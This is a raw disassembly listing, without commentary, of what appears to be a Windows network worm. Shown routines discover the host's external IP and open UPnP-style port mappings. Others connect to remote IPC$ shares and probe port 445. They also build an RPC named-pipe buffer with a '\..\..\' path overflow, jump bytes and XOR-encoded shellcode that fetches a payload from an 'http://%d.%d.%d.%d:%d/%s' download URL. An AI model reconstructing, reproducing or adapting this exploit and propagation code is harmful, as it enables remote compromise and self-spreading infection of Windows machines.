		lea	edi, [ebp+var_3B]
		stosd
		stosd
		stosd
		stosw
		stosb
		mov	[ebp+Dest], bl
		xor	eax, eax
		lea	edi, [ebp+var_2B]
		stosd
		stosd
		stosd
		stosw
		stosb
		push	dword ptr [ebp+in.S_un]	; in
		lea	eax, [ebp+netshort]
		push	eax		; netshort
		lea	eax, [ebp+Count]
		push	eax		; Count
		lea	eax, [ebp+Str]
		push	eax		; int
		call	sub_9AA0F1
		add	esp, 10h
		test	eax, eax
		jz	short loc_9AA313
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		lea	eax, [ebp+var_2C8]
		push	eax		; int
		push	[ebp+Str]	; Str
		call	sub_9B658C
		add	esp, 0Ch
		cmp	[ebp+Dest], bl
		jz	short loc_9AA313
		lea	eax, [ebp+netshort]
		push	eax		; cp
		mov	esi, __imp_inet_addr
		call	esi ; __imp_inet_addr
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		lea	eax, [ebp+Dest]
		push	eax		; cp
		call	esi ; __imp_inet_addr
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ebp+var_1C], 1
		jmp	short loc_9AA313
; ---------------------------------------------------------------------------


loc_9AA30C:				; DATA XREF: .text:stru_9A3ED8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA310:				; DATA XREF: .text:stru_9A3ED8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA313:				; CODE XREF: sub_9AA27B+4Fj
					; sub_9AA27B+6Aj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AA27B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA320(__int16,int,struct in_addr in)

sub_9AA320	proc near		; CODE XREF: sub_9ADBF1+186p

Count		= dword	ptr -78Ch
var_308		= dword	ptr -308h
var_88		= byte ptr -88h
Str2		= dword	ptr -78h
var_58		= dword	ptr -58h
netshort	= dword	ptr -50h
Str		= dword	ptr -40h
var_34		= dword	ptr -34h
Dest		= byte ptr -30h
var_2B		= byte ptr -2Bh
var_28		= dword	ptr -28h
var_23		= byte ptr -23h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
in		= in_addr ptr  10h

		push	77Ch
		push	offset stru_9A3EE8
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	byte ptr [ebp+netshort], bl
		xor	eax, eax
		lea	edi, [ebp+netshort+1]
		stosd
		stosd
		stosd
		stosw
		stosb
		movzx	eax, [ebp+arg_0]
		push	eax
		push	offset aU	; "%u"
		push	6		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		mov	edi, _snprintf
		call	edi ; _snprintf
		mov	[ebp+var_2B], bl
		push	dword ptr [ebp+in.S_un]	; in
		lea	eax, [ebp+netshort]
		push	eax		; netshort
		lea	eax, [ebp+Count]
		push	eax		; Count
		lea	eax, [ebp+Str]
		push	eax		; int
		call	sub_9AA0F1
		add	esp, 20h
		test	eax, eax
		jz	loc_9AA456
		lea	eax, [ebp+Str2]
		push	eax
		push	20h
		pop	ebx
		call	sub_9AA064
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Count]
		push	eax		; int
		lea	ecx, [ebp+Str]
		call	sub_9AA18B
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		mov	word ptr [esi],	50h
		and	[ebp+var_1C], 0
		mov	ebx, offset aTcp ; "TCP"


loc_9AA3B5:				; CODE XREF: sub_9AA320+121j
		cmp	[ebp+var_1C], 3
		jge	loc_9AA456
		movzx	eax, word ptr [esi]
		push	eax
		push	offset aU	; "%u"
		push	6		; Count
		lea	eax, [ebp+var_28]
		push	eax		; Dest
		call	edi ; _snprintf
		mov	[ebp+var_23], 0
		push	ebx		; int
		lea	eax, [ebp+Str2]
		push	eax		; int
		lea	eax, [ebp+netshort]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+var_28]
		push	eax		; int
		lea	eax, [ebp+var_308]
		push	eax		; int
		push	[ebp+Str]	; Str
		call	sub_9B6663
		add	esp, 2Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_9AA427
		lea	eax, [ebp+var_58]
		push	eax		; int
		lea	eax, [ebp+var_88]
		push	eax		; Dest
		push	ebx		; int
		lea	eax, [ebp+var_28]
		push	eax		; int
		lea	eax, [ebp+var_308]
		push	eax		; int
		push	[ebp+Str]	; Str
		call	sub_9B6A70
		add	esp, 18h
		mov	[ebp+var_34], eax
		test	eax, eax
		jz	short loc_9AA446


loc_9AA427:				; CODE XREF: sub_9AA320+DCj
		call	rand
		cdq
		mov	ecx, 2310h
		idiv	ecx
		add	edx, 400h
		mov	[esi], dx
		inc	[ebp+var_1C]
		jmp	loc_9AA3B5
; ---------------------------------------------------------------------------


loc_9AA446:				; CODE XREF: sub_9AA320+105j
		mov	[ebp+var_20], 1
		jmp	short loc_9AA456
; ---------------------------------------------------------------------------


loc_9AA44F:				; DATA XREF: .text:stru_9A3EE8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA453:				; DATA XREF: .text:stru_9A3EE8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA456:				; CODE XREF: sub_9AA320+5Cj
					; sub_9AA320+99j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_9AA320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA463	proc near		; CODE XREF: sub_9AA572+79p

cp		= byte ptr -38h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	28h
		push	offset stru_9A3F70
		call	__SEH_prolog
		mov	edi, ecx
		mov	esi, edx
		or	[ebp+var_20], 0FFFFFFFFh
		xor	ebx, ebx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	edi, 10h
		jnb	short loc_9AA4A8
		push	0Fh		; Count
		push	esi		; Source
		lea	eax, [ebp+cp]
		push	eax		; Dest
		call	strncpy
		add	esp, 0Ch
		mov	[ebp+var_29], bl
		lea	eax, [ebp+cp]
		push	eax		; cp
		call	inet_addr
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jnz	short loc_9AA4A8
		or	[ebp+var_20], 0FFFFFFFFh


loc_9AA4A8:				; CODE XREF: sub_9AA463+1Cj
					; sub_9AA463+3Fj
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	loc_9AA565
		mov	[ebp+var_1C], ebx


loc_9AA4B5:				; CODE XREF: sub_9AA463+66j
		cmp	[ebp+var_1C], edi
		jnb	short loc_9AA4CB
		mov	eax, [ebp+var_1C]
		add	eax, esi
		cmp	[eax], bl
		jnz	short loc_9AA4C6
		mov	byte ptr [eax],	20h


loc_9AA4C6:				; CODE XREF: sub_9AA463+5Ej
		inc	[ebp+var_1C]
		jmp	short loc_9AA4B5
; ---------------------------------------------------------------------------


loc_9AA4CB:				; CODE XREF: sub_9AA463+55j
		mov	[esi+edi-1], bl
		push	esi		; Str
		call	_strlwr
		pop	ecx


loc_9AA4D7:				; CODE XREF: sub_9AA463+A5j
					; sub_9AA463+AAj ...
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	loc_9AA565
		push	offset SubStr	; "ip address"
		push	esi		; Str
		call	strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_24], esi
		cmp	esi, ebx
		jz	short loc_9AA565
		add	esi, 0Ah
		mov	[ebp+var_24], esi
		xor	ecx, ecx


loc_9AA500:				; CODE XREF: sub_9AA463+F9j
		mov	[ebp+var_1C], ecx
		mov	al, [ecx+esi]
		cmp	al, bl
		jz	short loc_9AA4D7
		cmp	ecx, 0Fh
		jnb	short loc_9AA4D7
		cmp	al, 30h
		jl	short loc_9AA55B
		cmp	al, 39h
		jg	short loc_9AA55B
		mov	[ebp+cp], bl
		xor	edx, edx


loc_9AA51C:				; CODE XREF: sub_9AA463+D9j
		mov	[ebp+var_28], edx
		cmp	edx, 0Fh
		jnb	short loc_9AA53E
		mov	al, [ecx+esi]
		cmp	al, 30h
		jl	short loc_9AA52F
		cmp	al, 39h
		jle	short loc_9AA533


loc_9AA52F:				; CODE XREF: sub_9AA463+C6j
		cmp	al, 2Eh
		jnz	short loc_9AA53E


loc_9AA533:				; CODE XREF: sub_9AA463+CAj
		mov	[ebp+edx+cp], al
		inc	ecx
		mov	[ebp+var_1C], ecx
		inc	edx
		jmp	short loc_9AA51C
; ---------------------------------------------------------------------------


loc_9AA53E:				; CODE XREF: sub_9AA463+BFj
					; sub_9AA463+CEj
		mov	[ebp+edx+cp], bl
		lea	eax, [ebp+cp]
		push	eax		; cp
		call	inet_addr
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jnz	short loc_9AA4D7
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	loc_9AA4D7
; ---------------------------------------------------------------------------


loc_9AA55B:				; CODE XREF: sub_9AA463+AEj
					; sub_9AA463+B2j
		inc	ecx
		jmp	short loc_9AA500
; ---------------------------------------------------------------------------


loc_9AA55E:				; DATA XREF: .text:stru_9A3F70o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA562:				; DATA XREF: .text:stru_9A3F70o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA565:				; CODE XREF: sub_9AA463+49j
					; sub_9AA463+78j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_9AA463	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA572	proc near		; CODE XREF: sub_9ADBF1+250p

var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
dwFlags		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	2Ch
		push	offset stru_9A3F80
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	ebx, ebx
		mov	[ebp+var_3C], ebx
		xor	eax, eax
		lea	edi, [ebp+var_38]
		stosd
		stosd
		stosd
		mov	[ebp+ms_exc.disabled], ebx
		push	ebx		; dwReserved
		lea	eax, [ebp+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	short loc_9AA615
		mov	[ebp+var_20], ebx


loc_9AA5A4:				; CODE XREF: sub_9AA572+51j
					; sub_9AA572+9Aj
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_9AA615
		cmp	[ebp+var_20], 4
		jnb	short loc_9AA615
		call	rand
		and	eax, 3
		mov	[ebp+dwFlags], eax
		shl	eax, 2
		cmp	[ebp+eax+var_3C], ebx
		jnz	short loc_9AA5A4
		push	ebx		; int
		lea	ecx, [ebp+var_28]
		push	ecx		; int
		push	off_9BA4E8[eax]	; lpszUrl
		call	sub_9ACAC1
		add	esp, 0Ch
		mov	esi, eax
		mov	[ebp+var_2C], esi
		cmp	esi, ebx
		jz	short loc_9AA5FE
		mov	ecx, [ebp+var_28]
		cmp	ecx, 7
		jb	short loc_9AA5F3
		mov	edx, esi
		call	sub_9AA463
		mov	[ebp+var_1C], eax


loc_9AA5F3:				; CODE XREF: sub_9AA572+75j
		cmp	esi, ebx
		jz	short loc_9AA5FE
		push	esi		; hMem
		call	GlobalFree


loc_9AA5FE:				; CODE XREF: sub_9AA572+6Dj
					; sub_9AA572+83j
		mov	eax, [ebp+dwFlags]
		mov	[ebp+eax*4+var_3C], 1
		inc	[ebp+var_20]
		jmp	short loc_9AA5A4
; ---------------------------------------------------------------------------


loc_9AA60E:				; DATA XREF: .text:stru_9A3F80o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA612:				; DATA XREF: .text:stru_9A3F80o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA615:				; CODE XREF: sub_9AA572+2Dj
					; sub_9AA572+36j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AA572	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_9AA62A(size_t Size)

sub_9AA62A	proc near		; DATA XREF: .text:pStubDescriptoro

Size		= dword	ptr  4

		push	[esp+Size]	; Size
		call	malloc
		pop	ecx
		retn	4
sub_9AA62A	endp

; ---------------------------------------------------------------------------


loc_9AA638:				; DATA XREF: .text:pStubDescriptoro
		push	dword ptr [esp+4]
		call	free
		pop	ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA646	proc near		; CODE XREF: sub_9AD6D4+3Dp
					; sub_9AD8BC+51p

Src		= byte ptr -80h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		mov	eax, [ebp+arg_8]
		push	esi
		push	offset dword_9BB2D0
		push	[ebp+arg_C]
		mov	ecx, eax
		shr	ecx, 18h
		push	ecx
		movzx	ecx, byte ptr [ebp+arg_8+2]
		push	ecx
		movzx	ecx, ah
		push	ecx
		and	eax, 0FFh
		push	eax
		push	offset aHttpD_D_D_DDS ;	"http://%d.%d.%d.%d:%d/%s"
		lea	eax, [ebp+Src]
		push	80h		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+Src]
		push	eax		; Str
		mov	[ebp+var_1], 0
		call	strlen
		add	esp, 28h
		add	eax, 0BEh
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		mov	esi, [ebp+arg_0]
		mov	[esi], eax
		jz	loc_9AA733
		push	ebx
		push	edi
		mov	edi, 0B9h
		push	edi		; Size
		push	offset loc_9BA9F0 ; Src
		push	eax		; Dst
		call	memcpy
		lea	eax, [ebp+Src]
		push	eax		; Str
		call	strlen
		inc	eax
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		mov	eax, [esi]
		add	eax, edi
		push	eax		; Dst
		call	memcpy
		push	15h
		lea	eax, [ebp+Src]
		pop	edi
		push	eax		; Str
		call	strlen
		mov	ebx, 0BAh
		add	eax, ebx
		add	esp, 20h
		cmp	eax, edi
		jbe	short loc_9AA70D


loc_9AA6F5:				; CODE XREF: sub_9AA646+C5j
		mov	eax, [esi]
		add	eax, edi
		xor	byte ptr [eax],	0C4h
		lea	eax, [ebp+Src]
		push	eax		; Str
		inc	edi
		call	strlen
		add	eax, ebx
		cmp	edi, eax
		pop	ecx
		jb	short loc_9AA6F5


loc_9AA70D:				; CODE XREF: sub_9AA646+ADj
		mov	eax, [esi]
		mov	byte ptr [edi+eax], 4Dh
		mov	eax, [esi]
		mov	byte ptr [eax+edi+1], 53h
		mov	eax, [esi]
		mov	byte ptr [eax+edi+2], 0
		push	dword ptr [esi]	; Str
		call	strlen
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		pop	edi
		inc	eax
		pop	ebx


loc_9AA733:				; CODE XREF: sub_9AA646+63j
		pop	esi
		leave
		retn
sub_9AA646	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA736	proc near		; CODE XREF: sub_9AABAE+83p

Dest		= byte ptr -120h
var_21		= byte ptr -21h
Dst		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset aSIpc_0	; "\\\\%s\\IPC$"
		push	100h		; Count
		push	eax		; Dest
		call	_snprintf
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		mov	[ebp+var_21], 0
		call	memset
		add	esp, 1Ch
		mov	eax, offset WindowName ; "recv"
		push	0		; dwFlags
		push	eax		; lpUserName
		push	eax		; lpPassword
		mov	[ebp+var_10], eax
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+Dest]
		push	eax		; lpNetResource
		mov	[ebp+var_14], 3
		mov	[ebp+var_C], ecx
		call	WNetAddConnection2A
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_9AA736	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA799(RPC_CSTR NetworkAddr,RPC_CSTR Endpoint)

sub_9AA799	proc near		; CODE XREF: sub_9AABAE+9Ep

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
StringBinding	= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
NetworkAddr	= dword	ptr  8
Endpoint	= dword	ptr  0Ch

		push	14h
		push	offset stru_9A3FE0
		call	__SEH_prolog
		xor	esi, esi
		mov	[ebp+var_20], esi
		mov	[ebp+StringBinding], esi
		lea	eax, [ebp+StringBinding]
		push	eax		; StringBinding
		push	esi		; Options
		push	[ebp+Endpoint]	; Endpoint
		push	[ebp+NetworkAddr] ; NetworkAddr
		push	offset ProtSeq	; "ncacn_np"
		push	esi		; ObjUuid
		call	RpcStringBindingComposeA
		test	eax, eax
		jnz	short loc_9AA7DA
		push	offset Binding	; Binding
		push	[ebp+StringBinding] ; StringBinding
		call	RpcBindingFromStringBindingA
		cmp	eax, esi
		jz	short loc_9AA7DE


loc_9AA7DA:				; CODE XREF: sub_9AA799+2Dj
		xor	eax, eax
		jmp	short loc_9AA827
; ---------------------------------------------------------------------------


loc_9AA7DE:				; CODE XREF: sub_9AA799+3Fj
		mov	[ebp+ms_exc.disabled], esi
		push	esi
		push	4
		push	offset aM	; "M"
		push	offset aS_0	; "S"
		push	offset aAaa	; "AAA"
		call	sub_9AFF93
		add	esp, 14h
		mov	[ebp+var_20], 1
		jmp	short loc_9AA815
; ---------------------------------------------------------------------------


loc_9AA804:				; DATA XREF: .text:stru_9A3FE0o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA812:				; DATA XREF: .text:stru_9A3FE0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA815:				; CODE XREF: sub_9AA799+69j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		push	offset Binding	; Binding
		call	RpcBindingFree
		mov	eax, [ebp+var_20]


loc_9AA827:				; CODE XREF: sub_9AA799+43j
		call	__SEH_epilog
		retn
sub_9AA799	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA82D(int,RPC_CSTR NetworkAddr,RPC_CSTR Endpoint)

sub_9AA82D	proc near		; CODE XREF: sub_9AA8E9+269p

Dst		= byte ptr -410h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
StringBinding	= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
NetworkAddr	= dword	ptr  0Ch
Endpoint	= dword	ptr  10h

		push	400h
		push	offset stru_9A4010
		call	__SEH_prolog
		xor	esi, esi
		mov	[ebp+var_20], esi
		mov	[ebp+StringBinding], esi
		lea	eax, [ebp+StringBinding]
		push	eax		; StringBinding
		push	esi		; Options
		push	[ebp+Endpoint]	; Endpoint
		push	[ebp+NetworkAddr] ; NetworkAddr
		push	offset ProtSeq	; "ncacn_np"
		push	esi		; ObjUuid
		call	RpcStringBindingComposeA
		test	eax, eax
		jnz	short loc_9AA871
		push	offset Binding	; Binding
		push	[ebp+StringBinding] ; StringBinding
		call	RpcBindingFromStringBindingA
		cmp	eax, esi
		jz	short loc_9AA875


loc_9AA871:				; CODE XREF: sub_9AA82D+30j
		xor	eax, eax
		jmp	short loc_9AA8E3
; ---------------------------------------------------------------------------


loc_9AA875:				; CODE XREF: sub_9AA82D+42j
		mov	[ebp+ms_exc.disabled], esi
		push	3E8h		; Size
		push	esi		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset
		mov	[ebp+var_24], 101h
		push	esi
		lea	eax, [ebp+var_24]
		push	eax
		push	offset asc_9A4008 ; "\\"
		push	31Fh
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		push	offset aHhdhh	; "HHDHH"
		call	sub_9AFF71
		add	esp, 28h
		mov	[ebp+var_20], 1
		jmp	short loc_9AA8D1
; ---------------------------------------------------------------------------


loc_9AA8C0:				; DATA XREF: .text:stru_9A4010o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_28], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AA8CE:				; DATA XREF: .text:stru_9A4010o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AA8D1:				; CODE XREF: sub_9AA82D+91j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		push	offset Binding	; Binding
		call	RpcBindingFree
		mov	eax, [ebp+var_20]


loc_9AA8E3:				; CODE XREF: sub_9AA82D+46j
		call	__SEH_epilog
		retn
sub_9AA82D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AA8E9(int,void *Src,size_t Size,int,int)

sub_9AA8E9	proc near		; CODE XREF: sub_9AABAE+125p

NetworkAddr	= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		shr	ecx, 18h
		push	ecx
		movzx	ecx, byte ptr [ebp+arg_0+2]
		push	ecx
		movzx	ecx, ah
		push	ecx
		and	eax, 0FFh
		push	eax
		push	offset aD_D_D_D	; "\\\\%d.%d.%d.%d"
		lea	eax, [ebp+NetworkAddr]
		push	80h		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 1Ch
		push	ebx
		push	esi
		xor	edx, edx
		xor	eax, eax
		mov	ecx, 4F8h
		push	edi


loc_9AA930:				; CODE XREF: sub_9AA8E9+63j
		mov	esi, [ebp+arg_C]
		cmp	dword_9BA4F8[eax], esi
		jnz	short loc_9AA946
		mov	edi, dword_9BA4FC[eax]
		cmp	edi, [ebp+arg_10]
		jz	short loc_9AA992


loc_9AA946:				; CODE XREF: sub_9AA8E9+50j
		add	eax, 18h
		inc	edx
		cmp	eax, ecx
		jb	short loc_9AA930
		xor	edx, edx
		xor	eax, eax


loc_9AA952:				; CODE XREF: sub_9AA8E9+80j
		cmp	dword_9BA4F8[eax], esi
		jnz	short loc_9AA963
		cmp	dword_9BA4FC[eax], 9
		jz	short loc_9AA992


loc_9AA963:				; CODE XREF: sub_9AA8E9+6Fj
		add	eax, 18h
		inc	edx
		cmp	eax, ecx
		jb	short loc_9AA952
		xor	ebx, ebx


loc_9AA96D:				; CODE XREF: sub_9AA8E9+B3j
		test	ebx, ebx
		jz	short loc_9AA98B
		cmp	[ebp+Size], 190h
		ja	short loc_9AA98B
		push	262h		; dwBytes
		call	sub_9AC741
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_9AA99E


loc_9AA98B:				; CODE XREF: sub_9AA8E9+86j
					; sub_9AA8E9+8Fj
		xor	eax, eax
		jmp	loc_9AAB64
; ---------------------------------------------------------------------------


loc_9AA992:				; CODE XREF: sub_9AA8E9+5Bj
					; sub_9AA8E9+78j
		lea	ebx, [edx+edx*2]
		lea	ebx, ds:9BA4F8h[ebx*8]
		jmp	short loc_9AA96D
; ---------------------------------------------------------------------------


loc_9AA99E:				; CODE XREF: sub_9AA8E9+A0j
		push	2		; Size
		push	offset asc_9A4008 ; "\\"
		push	edi		; Dst
		call	memcpy
		add	esp, 0Ch
		lea	esi, [edi+2]
		mov	[ebp+var_4], 1F4h


loc_9AA9B8:				; CODE XREF: sub_9AA8E9+F4j
		call	rand
		and	al, 1
		shl	al, 5
		or	al, 41h
		mov	byte ptr [ebp+arg_0+3],	al
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, byte ptr [ebp+arg_0+3]
		mov	[esi], dl
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_9AA9B8
		push	[ebp+Size]	; Size
		lea	eax, [edi+66h]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	memcpy
		push	0Eh		; Size
		lea	eax, [edi+1F6h]
		push	offset a____	; "\\..\\..\\"
		push	eax		; Dst
		call	memcpy
		lea	eax, [edi+204h]
		mov	word ptr [eax],	41h
		add	esp, 18h
		inc	eax
		inc	eax
		and	[ebp+arg_0], 0
		mov	[ebp+var_8], eax
		lea	eax, [edi+206h]
		mov	esi, 206h
		mov	[ebp+var_4], eax


loc_9AAA26:				; CODE XREF: sub_9AA8E9+15Cj
					; sub_9AA8E9+172j
		call	rand
		cdq
		push	19h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_8]
		lea	eax, [edx+42h]
		mov	edx, [ebp+var_4]
		cmp	ecx, edx
		mov	[edx], ax
		jnb	short loc_9AAA4E


loc_9AAA42:				; CODE XREF: sub_9AA8E9+163j
		cmp	[ecx], ax
		jz	short loc_9AAA26
		inc	ecx
		inc	ecx
		cmp	ecx, [ebp+var_4]
		jb	short loc_9AAA42


loc_9AAA4E:				; CODE XREF: sub_9AA8E9+157j
		inc	[ebp+arg_0]
		add	[ebp+var_4], 2
		inc	esi
		inc	esi
		cmp	[ebp+arg_0], 6
		jb	short loc_9AAA26
		mov	dword ptr [esi+edi], 20408h
		add	esi, 4
		cmp	[ebp+arg_C], 6
		jz	loc_9AAB06
		cmp	[ebp+arg_C], 7
		jz	loc_9AAB06
		mov	eax, [ebx+0Ch]
		and	[ebp+var_8], 0
		test	eax, eax
		jnz	short loc_9AAA89


loc_9AAA86:				; CODE XREF: sub_9AA8E9+224j
		mov	eax, [ebx+8]


loc_9AAA89:				; CODE XREF: sub_9AA8E9+19Bj
		mov	[esi+edi], eax
		add	esi, 4
		lea	eax, [esi+46h]
		cmp	esi, eax
		mov	[ebp+arg_0], esi
		jnb	short loc_9AAAB9


loc_9AAA99:				; CODE XREF: sub_9AA8E9+1CEj
		call	rand
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	dl, 41h
		inc	[ebp+arg_0]
		mov	[eax+edi], dl
		lea	eax, [esi+46h]
		cmp	[ebp+arg_0], eax
		jb	short loc_9AAA99


loc_9AAAB9:				; CODE XREF: sub_9AA8E9+1AEj
		add	esi, edi
		cmp	[ebp+var_8], 0
		jz	short loc_9AAB12
		lea	eax, [ebx+8]
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	ecx, [eax]
		mov	[esi+4], ecx
		mov	ecx, [eax]
		mov	[esi+8], ecx
		mov	ecx, [eax]
		mov	[esi+0Ch], ecx
		mov	eax, [eax]
		mov	[esi+10h], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+14h], eax
		mov	eax, [ebx+14h]
		mov	[esi+18h], eax
		mov	eax, [ebx+10h]
		mov	[esi+38h], eax
		mov	eax, [ebx+10h]
		mov	[esi+3Ch], eax
		mov	byte ptr [esi+40h], 0EBh
		mov	byte ptr [esi+41h], 2
		mov	byte ptr [esi+44h], 0EBh
		mov	byte ptr [esi+45h], 58h
		jmp	short loc_9AAB40
; ---------------------------------------------------------------------------


loc_9AAB06:				; CODE XREF: sub_9AA8E9+182j
					; sub_9AA8E9+18Cj
		mov	[ebp+var_8], 1
		jmp	loc_9AAA86
; ---------------------------------------------------------------------------


loc_9AAB12:				; CODE XREF: sub_9AA8E9+1D6j
		mov	eax, [ebx+8]
		push	8		; Size
		mov	[esi+4], eax
		lea	eax, [esi+32h]
		push	offset dword_9A402C ; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		mov	byte ptr [esi+3Ah], 0EBh
		cmp	dword ptr [ebx+0Ch], 0
		setnz	al
		lea	eax, ds:5Ah[eax*8]
		mov	[esi+3Bh], al


loc_9AAB40:				; CODE XREF: sub_9AA8E9+21Bj
		and	word ptr [esi+46h], 0
		push	offset dword_9A401C ; Endpoint
		lea	eax, [ebp+NetworkAddr]
		push	eax		; NetworkAddr
		push	edi		; int
		call	sub_9AA82D
		push	edi		; lpMem
		mov	esi, eax
		call	sub_9AC755
		add	esp, 10h
		mov	eax, esi


loc_9AAB64:				; CODE XREF: sub_9AA8E9+A4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AA8E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AAB69	proc near		; CODE XREF: sub_9AABAE+70p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1BDh		; netshort
		push	[esp+4+arg_0]	; int
		call	sub_9AF52D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_9AABAB
		dec	eax
		dec	eax
